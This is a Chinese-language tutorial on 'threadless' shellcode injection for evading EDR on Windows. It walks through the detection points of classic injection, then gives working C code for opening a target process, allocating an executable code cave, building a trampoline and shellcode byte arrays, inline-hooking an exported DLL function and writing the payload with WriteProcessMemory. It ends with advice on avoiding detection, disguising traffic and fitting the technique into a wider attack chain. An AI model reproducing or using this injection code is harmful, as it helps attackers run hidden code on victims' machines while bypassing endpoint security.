无线程Shellcode注入:突破EDR检测的隐匿技术
字数 1618 2025-11-21 12:08:06
无线程Shellcode注入技术教学文档
技术概述
无线程Shellcode注入是一种新型的进程注入技术,通过在目标进程中劫持合法函数调用流程,实现无痕代码执行,有效规避传统EDR(终端检测与响应)系统的检测机制。
传统注入技术检测特征分析
标准进程注入IoC链
-
进程访问阶段
- 用户态API:
OpenProcess(PROCESS_ALL_ACCESS) - 内核态系统调用:
NtOpenProcess的DesiredAccess参数检测 - EDR Hook点:
ObRegisterCallbacks进程句柄过滤
- 用户态API:
-
内存操作阶段
- 显式分配:
VirtualAllocEx(MEM_COMMIT|MEM_RESERVE) - 内存映射:
NtMapViewOfSection的SEC_IMAGE属性欺骗检测 - ETW事件:
Microsoft-Windows-Threat-Intelligence的MemoryAllocation事件
- 显式分配:
-
写入阶段
- 直接写入:
WriteProcessMemory触发的CR3切换监控 - 间接写入:基于
NtWriteVirtualMemory的Copy-on-Write检测
- 直接写入:
-
执行触发阶段
- 线程创建:
CreateRemoteThread的线程起始地址白名单校验 - APC注入:
NtQueueApcThread的KAPC_STATE结构体分析 - 内核回调:
PsSetCreateThreadNotifyRoutine
- 线程创建:
核心技术方案:动态库函数劫持
目标函数筛选标准
-
协议层选择
- 传输层:
socket()(连接创建)、sendto()(UDP数据) - 应用层:
WinHttpSendRequest()(HTTP请求)、业务函数(如UpdateCheck())
- 传输层:
-
关键条件
- 低频稳定调用(分钟级心跳检测)
- 参数可安全修改(URL重定向等)
- 用户态DLL优先(如
ws2_32.dll)
函数劫持实现机制
-
内联钩子技术
- 补丁函数入口前5字节为
jmp指令 - 跳转指向内存中Shellcode位置
- Trampoline跳板保存原指令
- 补丁函数入口前5字节为
-
隐蔽通信机制
- 协议伪装:攻击数据嵌入HTTP头、DNS查询
- 反射式注入+动态Hook地址变更
- 模拟合法流量特征
技术实现步骤
第一阶段:环境准备
// 通过进程名称获取目标进程句柄
HANDLE hProc = NULL;
LPCWSTR ps_name;
DWORD *procID;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// 创建进程快照
HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!process_snap) return NULL;
// 遍历进程列表
if (Process32First(process_snap, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, ps_name) == 0) {
*procID = pe32.th32ProcessID;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID);
if (!hProc) continue;
return hProc;
}
} while (Process32Next(process_snap, &pe32));
}
第二阶段:动态库加载
// 获取目标DLL模块句柄
HMODULE hModule = GetModuleHandleW(L"kernelbase.dll");
if (hModule == NULL)
hModule = LoadLibraryW(L"kernelbase.dll");
第三阶段:内存空间探测
// 定位可执行代码注入区域
UINT_PTR addr_of_codecave;
uint64_t function_addr;
BOOL gotchaCave;
// 以目标函数为中心进行范围搜索(±1.8GB)
for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) - 0x70000000;
addr_of_codecave < function_addr + 0x70000000;
addr_of_codecave += 0x10000) {
LPVOID lpAddr = VirtualAllocEx(hProc,
addr_of_codecave,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL) continue;
gotchaCave = TRUE;
break;
}
第四阶段:Trampoline与Payload构造
Trampoline代码结构
unsigned char tramp_to_shellcode[] = {
// 执行流劫持准备
0x58, 0x48, 0x83, 0xE8, 0x05,
// 寄存器保存区
0x50, 0x51, 0x52,
0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
// Shellcode加载段
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x89, 0x08,
// 执行环境配置
0x48, 0x83, 0xEC, 0x40,
0xE8, 0x11, 0x00, 0x00, 0x00,
// 执行流恢复
0x48, 0x83, 0xC4, 0x40,
0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58,
0x5A, 0x59, 0x58,
0xFF, 0xE0,
0x90
};
Shellcode Payload
unsigned char shellcode[] = {
// 保存寄存器状态
0x53, 0x56, 0x57, 0x55, 0x54, 0x58,
// 栈对齐调整
0x66, 0x83, 0xE4, 0xF0,
// 函数调用参数准备
0x50, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63,
// PEB/TEB遍历
0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32,
0x48, 0x8B, 0x76, 0x18,
0x48, 0x8B, 0x76, 0x10,
// 导出表解析循环
0x48, 0xAD,
0x48, 0x8B, 0x30,
0x48, 0x8B, 0x7E, 0x30,
0x03, 0x57, 0x3C,
// 函数哈希比对
0x8B, 0x5C, 0x17, 0x28,
0x8B, 0x74, 0x1F, 0x20,
0x48, 0x01, 0xFE,
0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17,
// 函数调用执行
0x8D, 0x52, 0x02,
0xAD,
0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45,
0x75, 0xEF,
// 恢复执行环境
0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE,
0x8B, 0x34, 0xAE,
0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7,
// 现场恢复
0x48, 0x83, 0xC4, 0x68,
0x5C, 0x5D, 0x5F, 0x5E, 0x5B,
0xC3
};
第五阶段:Hook安装与内存配置
原始指令备份
int64_t originalBytes = *(int64_t*)dll_export_fun_addr;
*(uint64_t*)(tramp_to_shellcode + 0x12) = originalBytes;
内存权限修改
DWORD saveProtectFlags = 0;
if (!VirtualProtectEx(hProc, dll_export_fun_addr, 8, PAGE_EXECUTE_READWRITE, &saveProtectFlags))
return 1;
Call指令构造
unsigned char call_opcode_to_shell[] = { 0xe8, 0, 0, 0, 0 };
int call_addr = (remoteAddress - ((UINT_PTR)dll_export_fun_addr + 5));
*(int*)(call_opcode_to_shell + 1) = call_addr;
第六阶段:Payload部署
// 合并Trampoline和Shellcode
unsigned char mypayload[sizeof(tramp_to_shellcode) + sizeof(shellcode)];
for (size_t i = 0; i < sizeof(tramp_to_shellcode); ++i)
mypayload[i] = tramp_to_shellcode[i];
for (size_t i = 0; i < sizeof(shellcode); ++i)
mypayload[sizeof(tramp_to_shellcode) + i] = shellcode[i];
// 内存权限设置和写入
if (!VirtualProtectEx(hProc, remoteAddress, sizeof(mypayload), PAGE_READWRITE, &saveProtectFlags))
return 1;
if (!WriteProcessMemory(hProc, remoteAddress, mypayload, sizeof(mypayload), &numOfWrittenBytes))
return 1;
// 恢复执行权限
if (!VirtualProtectEx(hProc, remoteAddress, sizeof(mypayload), PAGE_EXECUTE_READ, &saveProtectFlags))
return 1;
关键技术要点
1. 函数选择策略
- 使用API Monitor分析目标程序调用模式
- 优先选择低频周期性调用函数
- 避免拦截调用频率>1Hz的函数
2. 内存管理优化
- 代码洞穴搜索范围精确控制
- 内存权限最小化原则
- 执行前后权限及时恢复
3. 隐蔽性增强
- 反射式注入避免磁盘文件残留
- 动态Hook地址变更规避静态检测
- 合法流量特征模拟
实战注意事项
规避检测要点
- 高频函数规避:避免劫持高频调用函数,防止进程异常
- 内存操作隐蔽:采用渐进式内存分配,避免大块内存操作
- 执行时机控制:选择业务低峰期触发,降低监控关注度
技术组合建议
- API调用欺骗技术结合使用
- 代码虚拟化增加分析难度
- 流量加密隐藏通信特征
检测规避效果
该技术成功绕过了Windows 11 23H2 x64系统的EDR检测,主要优势:
- 无新线程创建操作
- 无敏感API直接调用
- 内存操作符合合法模式
- 执行触发基于合法业务流
总结
无线程Shellcode注入技术代表了进程注入领域的新发展方向,通过巧妙的函数劫持和流程控制,实现了真正的无痕注入。然而,该技术需要结合目标应用的深入分析和多维度隐蔽措施才能发挥最大效果,在实际攻防对抗中应作为整体攻击链的一个环节进行部署。